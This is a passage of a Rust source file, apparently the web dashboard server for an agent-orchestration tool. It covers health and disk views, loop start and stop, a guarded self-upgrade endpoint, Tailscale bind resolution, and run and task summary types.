1665 "finish_loop: waiting for the loop to finish the run in flight",
1666 );
1667 let waited = std::time::Instant::now();
1668 let mut handle = live.handle;
1671 let mut beat = tokio::time::interval(LEASE_BEAT);
1672 loop {
1673 tokio::select! {
1674 _ = &mut handle => break,
1675 _ = beat.tick() => {
1676 if let Some(lease) = lease.as_deref_mut() {
1677 lease.beat();
1678 }
1679 }
1680 }
1681 }
1682 updater::log_step(
1683 home,
1684 &format!(
1685 "finish_loop: the loop ended after {:.1}s",
1686 waited.elapsed().as_secs_f32()
1687 ),
1688 );
1689}
1690
1691pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1697 match bind {
1698 Bind::Addr(addr) => (*addr, None),
1699 Bind::Auto => match tailscale_ip() {
1700 Ok(ip) => (IpAddr::V4(ip), None),
1701 Err(why) => (
1702 IpAddr::V4(Ipv4Addr::LOCALHOST),
1703 Some(format!(
1704 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1705 local-only and a phone cannot reach it; start Tailscale \
1706 or pass --bind <addr>"
1707 )),
1708 ),
1709 },
1710 }
1711}
1712
1713fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1721 let out = std::process::Command::new("tailscale")
1722 .args(["ip", "-4"])
1723 .quiet()
1724 .output()
1725 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1726 if !out.status.success() {
1727 let why = String::from_utf8_lossy(&out.stderr);
1728 let why = why.trim();
1729 return Err(format!(
1730 "`tailscale ip -4` failed ({}){}",
1731 out.status,
1732 if why.is_empty() {
1733 String::new()
1734 } else {
1735 format!(": {why}")
1736 }
1737 ));
1738 }
1739 String::from_utf8_lossy(&out.stdout)
1740 .lines()
1741 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1742 .find(is_tailnet)
1743 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1744}
1745
1746fn is_tailnet(ip: &Ipv4Addr) -> bool {
1748 let o = ip.octets();
1749 o[0] == 100 && (64..=127).contains(&o[1])
1750}
1751
1752type ApiResult<T> = std::result::Result<T, ApiError>;
1756
1757#[derive(Debug)]
1759struct ApiError {
1760 status: StatusCode,
1761 message: String,
1762}
1763
1764impl ApiError {
1765 fn bad_request(message: impl Into<String>) -> Self {
1767 Self {
1768 status: StatusCode::BAD_REQUEST,
1769 message: message.into(),
1770 }
1771 }
1772
1773 fn not_found(message: impl Into<String>) -> Self {
1775 Self {
1776 status: StatusCode::NOT_FOUND,
1777 message: message.into(),
1778 }
1779 }
1780
1781 fn with_status(mut self, status: StatusCode) -> Self {
1784 self.status = status;
1785 self
1786 }
1787
1788 fn bad_request_from(e: anyhow::Error) -> Self {
1792 Self::bad_request(format!("{e:#}"))
1793 }
1794
1795 fn conflict(message: impl Into<String>) -> Self {
1796 Self {
1797 status: StatusCode::CONFLICT,
1798 message: message.into(),
1799 }
1800 }
1801
1802 fn internal(message: impl Into<String>) -> Self {
1804 Self {
1805 status: StatusCode::INTERNAL_SERVER_ERROR,
1806 message: message.into(),
1807 }
1808 }
1809}
1810
1811impl From<anyhow::Error> for ApiError {
1812 fn from(e: anyhow::Error) -> Self {
1817 Self::internal(format!("{e:#}"))
1818 }
1819}
1820
1821impl IntoResponse for ApiError {
1822 fn into_response(self) -> Response {
1823 let body = serde_json::json!({ "error": self.message });
1824 (self.status, Json(body)).into_response()
1825 }
1826}
1827
1828async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1837where
1838 T: Send + 'static,
1839{
1840 #[cfg(test)]
1841 let job = request_cost::carry(job);
1842 match tokio::task::spawn_blocking(job).await {
1843 Ok(result) => result,
1844 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1845 }
1846}
1847
1848const ASSET_CACHE: &str = "no-cache, must-revalidate";
1866
1867fn asset_etag() -> &'static str {
1874 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1875 format!(
1876 "\"{}-{}\"",
1877 env!("CARGO_PKG_VERSION"),
1878 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1883 )
1884 });
1885 &TAG
1886}
1887
1888fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1890 [
1891 (header::CONTENT_TYPE, mime),
1892 (header::CACHE_CONTROL, ASSET_CACHE),
1893 (header::ETAG, asset_etag()),
1894 ]
1895}
1896
1897fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1905 let tag = asset_etag();
1906 let known = headers
1907 .get(header::IF_NONE_MATCH)
1908 .and_then(|v| v.to_str().ok())
1909 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1913 if known {
1914 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1915 }
1916 (asset_headers(mime), body).into_response()
1917}
1918
1919async fn index(headers: header::HeaderMap) -> Response {
1920 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1921}
1922
1923async fn app_css(headers: header::HeaderMap) -> Response {
1924 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1925}
1926
1927async fn app_js(headers: header::HeaderMap) -> Response {
1928 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1929}
1930
1931#[derive(Debug, Serialize)]
1933struct HealthView {
1934 version: &'static str,
1935 home: String,
1936 queue_rev: u64,
1937 runs_rev: u64,
1938 questions_rev: u64,
1950 talks_rev: u64,
1952 notifications_rev: u64,
1954 notifications_unread: usize,
1957 loop_rev: u64,
1962 runs_unreadable: usize,
1970 disk: DiskView,
1978 questions_open: usize,
1984 questions_needs_owner: usize,
1994 daemon: DaemonView,
1995 #[serde(rename = "loop")]
2001 looping: LoopView,
2002 update: UpdateView,
2009 upgrade: Option<UpgradeProgressView>,
2013}
2014
2015#[derive(Debug, Serialize)]
2022struct UpdateView {
2023 available: bool,
2025 to: Option<String>,
2027}
2028
2029#[derive(Debug, Serialize)]
2031struct UpgradeProgressView {
2032 stage: updater::Stage,
2033 from: String,
2034 to: Option<String>,
2035 waiting_on: Option<String>,
2038 started_at: Timestamp,
2039 updated_at: Timestamp,
2040 detail: Option<String>,
2041 stuck_for_secs: Option<i64>,
2044 stuck_kind: Option<updater::StallKind>,
2047 handover_alive: bool,
2050}
2051
2052fn should_spawn_recheck(cfg: &Update) -> bool {
2059 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2060}
2061
2062fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2074 if progress.is_some_and(|p| !p.stage.terminal()) {
2075 return false;
2076 }
2077 checker.should_check()
2078}
2079
2080fn recheck_poll_period(cfg: &Update) -> Duration {
2093 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2094}
2095
2096async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2120 loop {
2121 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2122 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2123 if !should_spawn_recheck(&cfg.update) {
2124 continue;
2125 }
2126 let Some(checker) = updater::Checker::new(&cfg.update) else {
2127 continue;
2128 };
2129 let progress = updater::read_progress(&home);
2130 if !update_recheck_due(&checker, progress.as_ref()) {
2131 continue;
2132 }
2133 if let Err(e) = checker.newer_release().await {
2134 tracing::warn!("background update recheck failed: {e:#}");
2135 }
2136 }
2137}
2138
2139fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2145 let default;
2146 let cfg = match cfg {
2147 Some(cfg) => cfg,
2148 None => {
2149 default = Config::default();
2150 &default
2151 }
2152 };
2153 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2154 match latest {
2155 Some(latest) => UpdateView {
2156 available: true,
2157 to: Some(latest.tag_name),
2158 },
2159 None => UpdateView {
2160 available: false,
2161 to: None,
2162 },
2163 }
2164}
2165
2166fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2172 let now = Timestamp::now();
2173 let lease = updater::read_lease(&ui.home);
2174 let alive = updater::live_lease(&progress, lease.as_ref(), now);
2175 let run_id = alive
2176 .and_then(|l| l.parked_run.as_deref())
2177 .or(progress.parked_run.as_deref());
2178 let parking = progress.stage == updater::Stage::Parking;
2179 let waited = alive.map_or_else(String::new, |l| {
2180 let secs = updater::waited_secs(l, now);
2181 format!(" (waited {} min so far)", secs / 60)
2182 });
2183 let run_text = run_id
2184 .filter(|_| parking)
2185 .map(|id| match read_run(&ui.runs, id).ok() {
2186 Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2187 None => format!("run {id} is finishing"),
2188 });
2189 let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2190 .filter(|t| parking && !t.is_empty())
2191 .map(|t| format!("{t} finishing"));
2192 let waiting_on = match (run_text, talks_text) {
2193 (None, None) => None,
2194 (run, talks) => {
2195 let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2196 Some(format!(
2197 "{} before the address is handed over{waited}",
2198 parts.join(" and ")
2199 ))
2200 }
2201 };
2202 let detail = progress
2203 .detail
2204 .clone()
2205 .or_else(|| updater::read_note(&ui.home, &progress));
2206 let stalled = updater::stall(&progress, lease.as_ref(), now);
2207 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2208 UpgradeProgressView {
2209 stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2210 stuck_kind: stalled.map(|s| s.kind),
2211 handover_alive: alive.is_some(),
2212 stage: progress.stage,
2213 from: progress.from,
2214 to: progress.to,
2215 waiting_on,
2216 started_at: progress.started_at,
2217 updated_at: progress.updated_at,
2218 detail,
2219 }
2220}
2221
2222#[derive(Debug, Serialize)]
2227struct DiskView {
2228 #[serde(skip_serializing_if = "Option::is_none")]
2230 free_bytes: Option<u64>,
2231 runs_bytes: u64,
2233 worktrees_bytes: u64,
2235 #[serde(skip_serializing_if = "Option::is_none")]
2237 cache_bytes: Option<u64>,
2238}
2239
2240impl DiskView {
2241 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2243 let cache_bytes = cfg
2244 .and_then(|cfg| cfg.cache_dir())
2245 .map(|dir| crate::disk::dir_size(&dir));
2246 Self {
2247 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2248 runs_bytes: crate::disk::dir_size(&ui.runs),
2249 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2250 cache_bytes,
2251 }
2252 }
2253}
2254
2255#[derive(Debug, Serialize)]
2257struct DaemonView {
2258 running: bool,
2259 idle: Option<bool>,
2260 pid: Option<u32>,
2261 current: Vec<daemon::Current>,
2265 completed: Option<u64>,
2266 stale_for_secs: Option<i64>,
2267}
2268
2269impl DaemonView {
2270 fn of(status: Option<daemon::Reading>) -> Self {
2274 let Some(status) = status else {
2275 return Self {
2276 running: false,
2277 idle: None,
2278 pid: None,
2279 current: Vec::new(),
2280 completed: None,
2281 stale_for_secs: None,
2282 };
2283 };
2284 let now = Timestamp::now();
2285 let age = status.age_secs(now);
2286 Self {
2287 running: status.running(now),
2288 idle: Some(status.idle),
2289 pid: status.pid,
2290 current: status.current,
2291 completed: Some(status.completed),
2292 stale_for_secs: age,
2293 }
2294 }
2295}
2296
2297async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2298 blocking(move || {
2299 let reading = daemon::read_status(&ui.home);
2303 let loop_rev = ui.lock_loop().rev;
2307 let cfg = deputy_config(&ui.repo);
2310 let update = cached_update_view(cfg.as_ref());
2311 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2312 Ok(Json(HealthView {
2313 version: env!("CARGO_PKG_VERSION"),
2314 home: ui.home.display().to_string(),
2315 queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2316 runs_rev: runs_revision(&ui.runs),
2317 questions_rev: ui.questions.revision(),
2318 talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2319 notifications_rev: ui.notices.revision(),
2320 notifications_unread: ui.notices.count_unread(),
2321 loop_rev,
2322 runs_unreadable: runs_unreadable(&ui.runs),
2323 questions_open: ui.questions.count_open(),
2324 questions_needs_owner: ui.questions.count_needs_owner(),
2325 daemon: DaemonView::of(reading.clone()),
2326 looping: ui.loop_view(reading),
2327 disk: DiskView::of(&ui, cfg.as_ref()),
2328 update,
2329 upgrade,
2330 }))
2331 })
2332 .await
2333}
2334
2335#[derive(Debug, Serialize)]
2337struct LoopView {
2338 running: bool,
2340 stopping: bool,
2348 parking: bool,
2356 owned: bool,
2364 repo: String,
2367 merge: Option<String>,
2370 last_error: Option<String>,
2378 daemon: DaemonView,
2381}
2382
2383#[derive(Debug, Clone, Copy)]
2392struct Foreign {
2393 pid: Option<u32>,
2395}
2396
2397impl Foreign {
2398 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2401 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2405 }
2406
2407 fn who(&self) -> String {
2410 match self.pid {
2411 Some(pid) => format!("another magi process (pid {pid})"),
2412 None => "another magi process".to_owned(),
2413 }
2414 }
2415}
2416
2417type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2422
2423fn launch_daemon(
2425 opts: daemon::Opts,
2426 stop: daemon::Stop,
2427) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2428 Box::pin(daemon::serve_until(opts, stop))
2429}
2430
2431#[derive(Debug, Default)]
2433struct LoopState {
2434 live: Option<Live>,
2436 rev: u64,
2444 last_error: Option<String>,
2447 resume_after_handover: bool,
2452}
2453
2454#[derive(Debug)]
2456struct Live {
2457 stop: daemon::Stop,
2459 handle: tokio::task::JoinHandle<()>,
2464 opts: daemon::Opts,
2468}
2469
2470impl Live {
2471 fn alive(&self) -> bool {
2473 !self.handle.is_finished()
2474 }
2475}
2476
2477fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2484 state.lock().unwrap_or_else(PoisonError::into_inner)
2485}
2486
2487async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2489 blocking(move || {
2490 let reading = daemon::read_status(&ui.home);
2491 Ok(Json(ui.loop_view(reading)))
2492 })
2493 .await
2494}
2495
2496#[derive(Debug, Deserialize)]
2502#[serde(deny_unknown_fields)]
2503struct LoopCommand {
2504 running: bool,
2505 #[serde(default)]
2515 park: bool,
2516}
2517
2518async fn loop_post(
2526 State(ui): State<Arc<Ui>>,
2527 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2528) -> ApiResult<Json<LoopView>> {
2529 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2532 blocking(move || {
2533 let reading = daemon::read_status(&ui.home);
2534 let foreign = Foreign::of(reading.as_ref());
2535 if body.running {
2536 ui.start_loop(foreign)?;
2537 } else {
2538 ui.stop_loop(foreign, body.park)?;
2539 }
2540 Ok(Json(ui.loop_view(reading)))
2541 })
2542 .await
2543}
2544
2545#[derive(Debug, Serialize)]
2547struct UpgradeView {
2548 from: String,
2550 to: Option<String>,
2552 parked: Option<String>,
2554 detail: String,
2556}
2557
2558fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2561 progress.filter(|p| !p.stage.terminal())
2562}
2563
2564async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2588 let reading = daemon::read_status(&ui.home);
2589 if let Some(other) = Foreign::of(reading.as_ref()) {
2590 return Err(ApiError::conflict(format!(
2591 "the loop belongs to {}, so replacing this binary would leave \
2592 that process running an old one against the same queue. Upgrade \
2593 where it was started.",
2594 other.who()
2595 )));
2596 }
2597
2598 let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2603 return Err(ApiError::conflict(
2604 "another request is already preparing an upgrade",
2605 ));
2606 };
2607 if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2608 return Err(ApiError::conflict(
2609 "an upgrade is already in progress (this process started one and it \
2610 has not finished or failed yet)",
2611 ));
2612 }
2613 let recorded = updater::read_progress(&ui.home);
2614 if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2615 return Err(ApiError::conflict(format!(
2616 "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2617 stays stuck, restart the deck; on start it settles a stale record.",
2618 p.stage.as_str(),
2619 p.from,
2620 p.to.as_deref().unwrap_or("?"),
2621 )));
2622 }
2623
2624 if crate::updater::disabled_by_env() {
2630 return Ok((
2631 StatusCode::OK,
2632 Json(UpgradeView {
2633 from: env!("CARGO_PKG_VERSION").to_owned(),
2634 to: None,
2635 parked: None,
2636 detail: format!(
2637 "Automatic updates are disabled by {}. Nothing was parked \
2638 and nothing restarted.",
2639 crate::updater::NO_AUTOUPDATE_ENV
2640 ),
2641 }),
2642 ));
2643 }
2644
2645 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2650 let from = env!("CARGO_PKG_VERSION").to_owned();
2651 let latest = match crate::updater::Checker::new(&cfg.update) {
2652 Some(checker) => checker
2653 .newer_release()
2654 .await
2655 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2656 None => None,
2657 };
2658 let Some(latest) = latest else {
2659 return Ok((
2660 StatusCode::OK,
2661 Json(UpgradeView {
2662 from,
2663 to: None,
2664 parked: None,
2665 detail: "Already on the newest release. Nothing was parked \
2666 and nothing restarted."
2667 .to_owned(),
2668 }),
2669 ));
2670 };
2671
2672 let parked = ui.park_for_upgrade(&from, Some(latest.tag_name.as_str()))?;
2675 let detail = match &parked {
2676 Some(run) => format!(
2681 "Run {} is parking at its next step, which can take as long as \
2682 the step it is on - up to an hour for an implement wave. The \
2683 deck replaces itself once it parks, comes back, and the loop \
2684 carries that run on from where it stopped. Nothing is lost if \
2685 you close this.",
2686 crate::run::short_of(run)
2687 ),
2688 None => "The deck replaces itself and comes back. Nothing was in \
2689 flight to park."
2690 .to_owned(),
2691 };
2692
2693 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2697 progress.parked_run = parked.clone();
2698 updater::write_progress_logged(&ui.home, &progress);
2702
2703 let home = ui.home.clone();
2704 let looping = ui.looping();
2705 ui.upgrade_spawned
2706 .store(true, std::sync::atomic::Ordering::SeqCst);
2707 let spawned = Arc::clone(&ui.upgrade_spawned);
2708 tokio::spawn(async move {
2709 if let Err(e) = upgrade_and_restart(home.clone()).await {
2710 tracing::error!("the upgrade did not complete: {e:#}");
2711 lock_or_recover(&looping).resume_after_handover = false;
2712 let _ = updater::fail_progress(&home, &format!("{e:#}"));
2716 spawned.store(false, std::sync::atomic::Ordering::SeqCst);
2719 }
2720 });
2721
2722 Ok((
2723 StatusCode::ACCEPTED,
2724 Json(UpgradeView {
2725 from,
2726 to: Some(latest.tag_name),
2727 parked,
2728 detail,
2729 }),
2730 ))
2731}
2732
2733async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2738 crate::updater::run_self_update(true, false, true).await?;
2741 updater::log_step(&home, "binary replaced - recording the replaced stage");
2742 if let Some(mut progress) = updater::read_progress(&home) {
2743 progress.advance(updater::Stage::Replaced);
2744 updater::write_progress_logged(&home, &progress);
2745 }
2746 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2747 HANDOVER.notify_one();
2748 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2749 Ok(())
2750}
2751
2752#[derive(Debug, Serialize)]
2758struct RunSummary {
2759 id: String,
2760 short: String,
2761 status: String,
2762 done: bool,
2763 instruction: String,
2764 title: String,
2765 repo: String,
2766 repo_name: String,
2767 created_at: String,
2768 updated_at: String,
2769 candidates: usize,
2770 viable: usize,
2771 judges: usize,
2772 winner: Option<char>,
2773 reviews: usize,
2774 quota_losses: usize,
2775 event: Option<String>,
2776 superseded_by: Option<String>,
2781 waiting: bool,
2788 live: crate::run::Liveness,
2792 pr: Option<crate::run::PrRecord>,
2794 unmerged_by_design: bool,
2800 #[serde(default)]
2803 display_status: String,
2804 origin_label: String,
2807}
2808
2809impl RunSummary {
2810 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2811 Self {
2812 id: state.id.clone(),
2813 short: state.short().to_owned(),
2814 status: status_word(state.status),
2815 done: state.status.done(),
2816 unmerged_by_design: state.unmerged_by_design(),
2817 display_status: run_display_status(state, waiting, live),
2818 instruction: state.instruction.clone(),
2819 title: title_from(&state.instruction, TITLE_MAX),
2820 repo: state.repo.display().to_string(),
2821 repo_name: state
2822 .repo
2823 .file_name()
2824 .map(|n| n.to_string_lossy().into_owned())
2825 .unwrap_or_default(),
2826 created_at: state.created_at.to_string(),
2827 updated_at: state.updated_at.to_string(),
2828 candidates: state.candidates.len(),
2829 viable: state.viable().len(),
2830 judges: state.config.graph.judges,
2831 winner: state.winner().map(|c| c.label),
2832 reviews: state.reviews.len(),
2833 quota_losses: state.quota.len(),
2834 event: state.events.last().map(|e| e.message.clone()),
2835 waiting,
2836 live,
2837 superseded_by: None,
2840 pr: state.pr.clone(),
2841 origin_label: crate::run::origin_label(state.origin.as_ref()),
2842 }
2843 }
2844}
2845
2846fn status_word(status: RunStatus) -> String {
2849 status.as_str().to_owned()
2853}
2854
2855fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
2861 if waiting {
2862 return "waiting".to_owned();
2863 }
2864 if state.unmerged_by_design() {
2865 return "unmerged".to_owned();
2866 }
2867 if !state.status.done() && live == crate::run::Liveness::Dead {
2868 if state.parked {
2871 return "parked".to_owned();
2872 }
2873 return "stale".to_owned();
2874 }
2875 status_word(state.status)
2876}
2877
2878#[derive(Debug, Deserialize)]
2880struct ListQuery {
2881 #[serde(default)]
2882 limit: Option<usize>,
2883 ids: Option<String>,
2885}
2886
2887impl ListQuery {
2888 fn contains(&self, id: &str) -> bool {
2889 self.ids
2890 .as_ref()
2891 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2892 }
2893}
2894
2895async fn runs_list(
2896 State(ui): State<Arc<Ui>>,
2897 Query(q): Query<ListQuery>,
2898) -> ApiResult<Json<Vec<RunSummary>>> {
2899 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2900 blocking(move || {
2901 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2902 let states = run_ids(&ui.runs)
2903 .into_iter()
2904 .filter_map(|id| read_run(&ui.runs, &id).ok())
2909 .take(limit)
2910 .filter(|run| q.contains(&run.id));
2911 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2912 let summaries = summarize(
2913 states,
2914 &open_runs,
2915 &claimed,
2916 &superseded,
2917 |p| probe.borrow_mut().status(p),
2918 |p| probe.borrow_mut().started_at(p),
2919 );
2920 Ok(Json(summaries))
2921 })
2922 .await
2923}
2924
2925fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2930 let open_runs: HashSet<String> = ui
2931 .questions
2932 .list()
2933 .into_iter()
2934 .filter(|q| q.status.open())
2935 .map(|q| q.run)
2936 .collect();
2937 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2938 .into_iter()
2939 .map(|c| c.run)
2940 .collect();
2941 (open_runs, claimed, ui.queue.superseded())
2942}
2943
2944fn summarize<I, S, D>(
2950 states: I,
2951 open_runs: &HashSet<String>,
2952 claimed: &HashSet<String>,
2953 superseded: &HashMap<String, String>,
2954 mut status_q: S,
2955 mut identity_q: D,
2956) -> Vec<RunSummary>
2957where
2958 I: IntoIterator<Item = RunState>,
2959 S: FnMut(u32) -> Option<bool>,
2960 D: FnMut(u32) -> Option<String>,
2961{
2962 states
2963 .into_iter()
2964 .map(|state| {
2965 let waiting = open_runs.contains(&state.id);
2966 let live =
2967 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2968 let mut row = RunSummary::of(&state, waiting, live);
2969 row.superseded_by = state
2970 .pr_taken_over_by
2971 .as_ref()
2972 .or_else(|| superseded.get(&state.id))
2973 .map(String::as_str)
2974 .map(crate::run::short_of)
2975 .map(str::to_owned);
2976 row
2977 })
2978 .collect()
2979}
2980
2981#[derive(Debug, Serialize)]
2988struct RunDetailView {
2989 stop_reason: Option<String>,
2990 #[serde(flatten)]
2991 state: RunState,
2992 instruction_md: Vec<md::Node>,
2993 #[serde(flatten)]
2997 prose_md: RunProseMd,
2998 live: crate::run::Liveness,
3013 unmerged_by_design: bool,
3018 #[serde(default)]
3020 waiting: bool,
3021 #[serde(default)]
3023 display_status: String,
3024 done: bool,
3029 superseded_by: Option<String>,
3037 latest_attempt: Option<LatestAttempt>,
3051 task: Option<TaskRef>,
3054 origin_label: String,
3058 pass_views: Vec<PassView>,
3061}
3062
3063#[derive(Debug, Serialize)]
3065struct TaskRef {
3066 id: String,
3067 short: String,
3068 title: String,
3069 source_label: String,
3071 source_link: Option<SourceLink>,
3073 status: &'static str,
3075 attempts: usize,
3076 max_attempts: usize,
3077 is_latest: bool,
3079 latest: Option<RunBrief>,
3081 finished_by: Option<RunBrief>,
3083 closed_by_hand: bool,
3085}
3086
3087#[derive(Debug, PartialEq, Eq, Serialize)]
3089struct SourceLink {
3090 kind: &'static str,
3092 id: String,
3094 href: String,
3096}
3097
3098fn encode_segment(raw: &str) -> String {
3100 let mut out = String::with_capacity(raw.len());
3101 for b in raw.bytes() {
3102 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3103 out.push(b as char);
3104 } else {
3105 out.push_str(&format!("%{b:02X}"));
3106 }
3107 }
3108 out
3109}
3110
3111fn source_link(source: &Source) -> Option<SourceLink> {
3115 let Source::Agent { run, node } = source else {
3116 return None;
3117 };
3118 let (kind, route) = if node == crate::queue::CHAT_NODE {
3119 ("chat", "chat")
3120 } else {
3121 ("run", "runs")
3122 };
3123 Some(SourceLink {
3124 kind,
3125 id: run.clone(),
3126 href: format!("#/{route}/{}", encode_segment(run)),
3127 })
3128}
3129
3130#[derive(Debug, Serialize, PartialEq)]
3132struct FollowUpParent {
3133 id: String,
3134 short: String,
3135 title: String,
3136 status: &'static str,
3138 href: String,
3139}
3140
3141#[derive(Debug, Serialize, PartialEq)]
3143struct FollowUpRun {
3144 id: String,
3145 short: String,
3146 status: Option<&'static str>,
3148 href: Option<String>,
3150}
3151
3152#[derive(Debug, Serialize, PartialEq)]
3155struct FollowUpOrigin {
3156 parent: Option<FollowUpParent>,
3158 run: FollowUpRun,
3159 pr: String,
3164 findings: Vec<String>,
3165 generation: u32,
3166}
3167
3168fn followup_origin(
3171 fu: &crate::queue::FollowUp,
3172 task: impl Fn(&str) -> Option<Task>,
3173 run: impl Fn(&str) -> Option<RunState>,
3174) -> FollowUpOrigin {
3175 let parent = fu
3176 .origin_task
3177 .as_deref()
3178 .and_then(task)
3179 .map(|t| FollowUpParent {
3180 short: t.short().to_owned(),
3181 href: format!("#/tasks/{}", encode_segment(&t.id)),
3182 status: t.status.as_str(),
3183 title: t.title,
3184 id: t.id,
3185 });
3186 let state = run(&fu.run);
3187 FollowUpOrigin {
3188 parent,
3189 run: FollowUpRun {
3190 short: run::short_of(&fu.run).to_owned(),
3191 status: state.as_ref().map(|s| s.status.as_str()),
3192 href: state
3193 .is_some()
3194 .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3195 id: fu.run.clone(),
3196 },
3197 pr: fu.pr.clone(),
3198 findings: fu.findings.clone(),
3199 generation: fu.generation,
3200 }
3201}
3202
3203#[derive(Debug, Serialize)]
3205struct RunBrief {
3206 id: String,
3207 short: String,
3208 status: Option<&'static str>,
3210 outcome: String,
3212}
3213
3214fn task_outcome(
3217 task: &Task,
3218 this_run: &str,
3219 max_attempts: usize,
3220 read: impl Fn(&str) -> Option<RunState>,
3221) -> TaskRef {
3222 let history = task_history(task, read);
3223 let brief = |h: &TaskRunView| RunBrief {
3224 id: h.id.clone(),
3225 short: h.short.clone(),
3226 status: h.status,
3227 outcome: h.exit.edge_label(h.status),
3228 };
3229 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3230 let latest = if is_latest {
3231 None
3232 } else {
3233 history.last().map(brief)
3234 };
3235 let done = task.status == TaskStatus::Done;
3236 let finished_by = done
3237 .then(|| {
3238 history
3239 .iter()
3240 .rev()
3241 .find(|h| {
3242 matches!(
3243 h.exit,
3244 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3245 )
3246 })
3247 .map(brief)
3248 })
3249 .flatten();
3250 TaskRef {
3251 short: task.short().to_owned(),
3252 title: task.title.clone(),
3253 id: task.id.clone(),
3254 source_label: task.source.label(),
3255 source_link: source_link(&task.source),
3256 status: task.status.as_str(),
3257 attempts: task.attempts,
3258 max_attempts,
3259 is_latest,
3260 latest,
3261 closed_by_hand: done && finished_by.is_none(),
3262 finished_by,
3263 }
3264}
3265
3266#[derive(Debug, Serialize)]
3268struct LatestAttempt {
3269 id: String,
3270 short: String,
3271 resolved: bool,
3282 status: RunStatus,
3285 done: bool,
3287}
3288
3289#[derive(Debug, Default, Serialize)]
3291struct RunProseMd {
3292 advice_md: Option<AdviceMd>,
3294 candidate_summaries_md: Vec<Vec<md::Node>>,
3296 reviews_md: Vec<RoundMd>,
3298}
3299
3300#[derive(Debug, Default, Serialize)]
3301struct AdviceMd {
3302 synthesis: Vec<md::Node>,
3303 approaches: Vec<Vec<md::Node>>,
3305}
3306
3307#[derive(Debug, Default, Serialize)]
3308struct RoundMd {
3309 reviewers: Vec<ReviewerMd>,
3311 reconsideration: Vec<Vec<md::Node>>,
3313 fix: Option<FixMd>,
3314}
3315
